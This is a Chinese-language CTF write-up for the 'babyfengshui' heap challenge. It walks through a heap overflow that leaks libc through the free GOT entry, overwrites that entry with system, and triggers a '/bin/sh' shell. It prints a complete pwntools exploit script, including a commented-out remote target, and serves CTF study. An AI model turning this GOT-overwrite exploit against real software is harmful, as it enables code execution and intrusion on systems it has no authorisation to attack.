• babyfengshui


    babyfengshui-wirteup

    这一道题是个非常经典的入门级堆题, 涉及的知识点不多,思考的确实比较多,而且比较巧合.
    首先我来讲一下解题思路:
    想方设法如何调用system函数,且传参为'/bin/sh'
    想要实现以上功能,就的需要获取libc的基址,然后修改某个函数的got表
    最后调用被修改got的函数,即可调用我们想要执行的函数
    传参问题: 这个题恰好有个name堆来储存前一个描述堆的地址,且有一个指针数组储存name堆的地址
    所以只需根据开辟的index来控制参数的值.
    接下来我会慢慢地细讲...
    

    如何获取libc的基地址

    这个有两种方法可以实现,一个是利用堆的unsorted bin指向main_arena然后计算基地址
    另一个是想方设法修改name堆中的第一个存储描述堆的地址为free或其他函数的got地址
    然后在打印,即可获取到free函数libc中的地址,现在我讲的是第二种方法,比较简单.
    那我们如何构造堆溢出呢?
    先看一下ida逆向出的东西.
    

    enter image description here

    可以发现,每增加一个,就会连续创建两个堆,且第二个堆大小为0x80
    然后描述堆的地址会被name堆储存起来,name堆的地址又被指针数组储存起来.
    进入sub_8048724(++byte_804B069 - 1)函数看看
    

    enter image description here

    这里会有一个判断,描述图片上有,我就不说了
    那好,基本上程序就是这样,现在我们就要如何构建堆溢出.
    只要让两个堆之差比较大就行,也就是两个堆之间中间还含有其他的堆,如下图
    

    enter image description here

    这样的话中间的数据就可以任意读写.现在我们通过描述堆1溢出把name堆2储存的描述堆2地址改为free的got地址,然后打印即可
    获取free函数在libc中的地址,就可以获取libc基地址.payload构造如下.
    
    add(0x80, 'logan', 0x80, 'AAAA')
    add(0x80, 'logan', 0x80, 'BBBB')
    add(0x8, '
    ', 0x8, "/bin/sh") //储存以后用的参数
    dele(0)
    add(0x100, '00', 0x19C, 'C' * 0x198 + p32(elf.got['free'])) //修改name2堆储存的描述堆2地址为free的got地址
    dis(1) //打印free在libc中的地址
    sh.recvuntil('x3ax20')
    sh.recvuntil('x3ax20')
    libc_free = u32(sh.recvline()[0:4])
    libc = LibcSearcher('free', libc_free)
    libc_base = libc_free - libc.dump('free')
    libc_sys = libc_base + libc.dump('system')
    print 'libc_base-> :' + hex(libc_base)
    

    如何修改free的got表为system

    在上面代码中,我么只需跟新一下index1 即可实现修改free对应的got表地址,因为跟新的时候,它会根据name2堆储存的描述堆2地址来修改,
    以上我们已经把name堆2储存的地址改为了free的got表地址,所以这里只需跟新一下,即可实现对free的got表进行修改.
    payload 如下:
    upd(1, 0xC, p32(libc_sys))
    

    如何传参

    现在我们已经把free的got地址改为了system的地址,就意味着,只要只需free函数就相当于执行system函数
    执行删除的功能模块时,如图:
    

    enter image description here
    相当于把描述堆3的地址作为free的参数.所以直接free(2)即可进行传参即调用system,完整payload如下:

    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'
    elf = ELF('./babyfengshui_33c3_2016')
    sh = elf.process()
    #sh = remote('node3.buuoj.cn', 28263)
    
    def add(sizeofde, name, tlen, text):
        sh.recvuntil("Action: ")
        sh.sendline('0')
        sh.recvuntil("size of description: ")
        sh.sendline(str(sizeofde))
        sh.recvuntil("name: ")
        sh.sendline(name)
        sh.recvuntil("text length: ")
        sh.sendline(str(tlen))
        sh.recvuntil("text: ")
        sh.sendline(text)
    
    def dele(index):
        sh.recvuntil("Action: ")
        sh.sendline('1')
        sh.recvuntil("index: ")
        sh.sendline(str(index))
    
    def dis(index):
        sh.recvuntil("Action: ")
        sh.sendline('2')
        sh.recvuntil("index: ")
        sh.sendline(str(index))
    
    def upd(index, tlen, text):
        sh.recvuntil("Action: ")
        sh.sendline('3')
        sh.recvuntil("index: ")
        sh.sendline(str(index))
        sh.recvuntil("text length: ")
        sh.sendline(str(tlen))
        sh.recvuntil("text: ")
        sh.sendline(text)
    
    add(0x80, 'logan', 0x80, 'AAAA')
    add(0x80, 'logan', 0x80, 'BBBB')
    add(0x8, '
    ', 0x8, "/bin/sh")
    dele(0)
    add(0x100, '00', 0x19C, 'C' * 0x198 + p32(elf.got['free']))
    dis(1)
    sh.recvuntil('x3ax20')
    sh.recvuntil('x3ax20')
    libc_free = u32(sh.recvline()[0:4])
    print 'free->elf.got_addr ->' + hex(elf.got['free'])
    print 'libc_free-> :' + hex(libc_free)
    libc = LibcSearcher('free', libc_free)
    libc_base = libc_free - libc.dump('free')
    libc_sys = libc_base + libc.dump('system')
    print 'libc_base-> :' + hex(libc_base)
    print 'libc_sys-> :' + hex(libc_sys)
    upd(1, 0xC, p32(libc_sys) + '00000000')
    #gdb.attach(sh)
    dele(2)
    sh.interactive()
  • 相关阅读:
    Hive UDF 用户自定义函数 编程及使用
    Hive 常用命令和语句
    Hive 配置显示表头和数据库信息
    Hive 安装配置
    Hadoop完全分布式集群环境搭建
    Java 文件切割工具类
    MongoDB 安装配置
    NodeJS 安装配置
    Java 截屏工具类
    Maven 配置本地依赖jar
  • 原文地址:https://www.cnblogs.com/lyxf/p/12215289.html
一二三 - 开发者的网上家园